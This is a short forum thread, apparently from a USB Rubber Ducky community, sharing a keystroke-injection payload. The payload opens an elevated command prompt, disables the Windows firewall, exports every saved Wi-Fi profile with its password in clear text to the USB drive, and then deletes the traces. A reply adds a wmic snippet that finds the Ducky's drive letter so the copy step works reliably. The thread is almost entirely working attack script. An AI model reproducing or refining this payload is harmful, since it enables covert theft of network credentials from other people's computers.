mreidiv Posted February 3, 2013 Posted February 3, 2013 All props to Bucky67GTOall i did was change his code some. DELAY 2000 ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 CTRL-SHIFT ENTER DELAY 400 LEFTARROW DELAY 400 ENTER DELAY 400 STRING netsh firewall set opmode mode=disable ENTER DELAY 400 STRING cd %USERPROFILE% ENTER DELAY 400 STRING netsh wlan export profile key=clear ENTER DELAY 400 STRING copy wi*.xml E: ENTER DELAY 2000 ENTER DELAY 400 STRING del wir*.xml ENTER DELAY 200 STRING netsh firewall set opmode mode=enable ENTER DELAY 400 ALT SPACE STRING c Quote
no42 Posted February 3, 2013 Posted February 3, 2013 (edited) The only criticism is that the Ducky doesn't always end up on E:\ Consider the following code, that searches for the drive label to get you the drive letter: for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d then use %myd%, in place of e:/f:/g: whatever... Notes: You need wmic installed (XP+ for this to work) Edited February 3, 2013 by midnitesnake Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.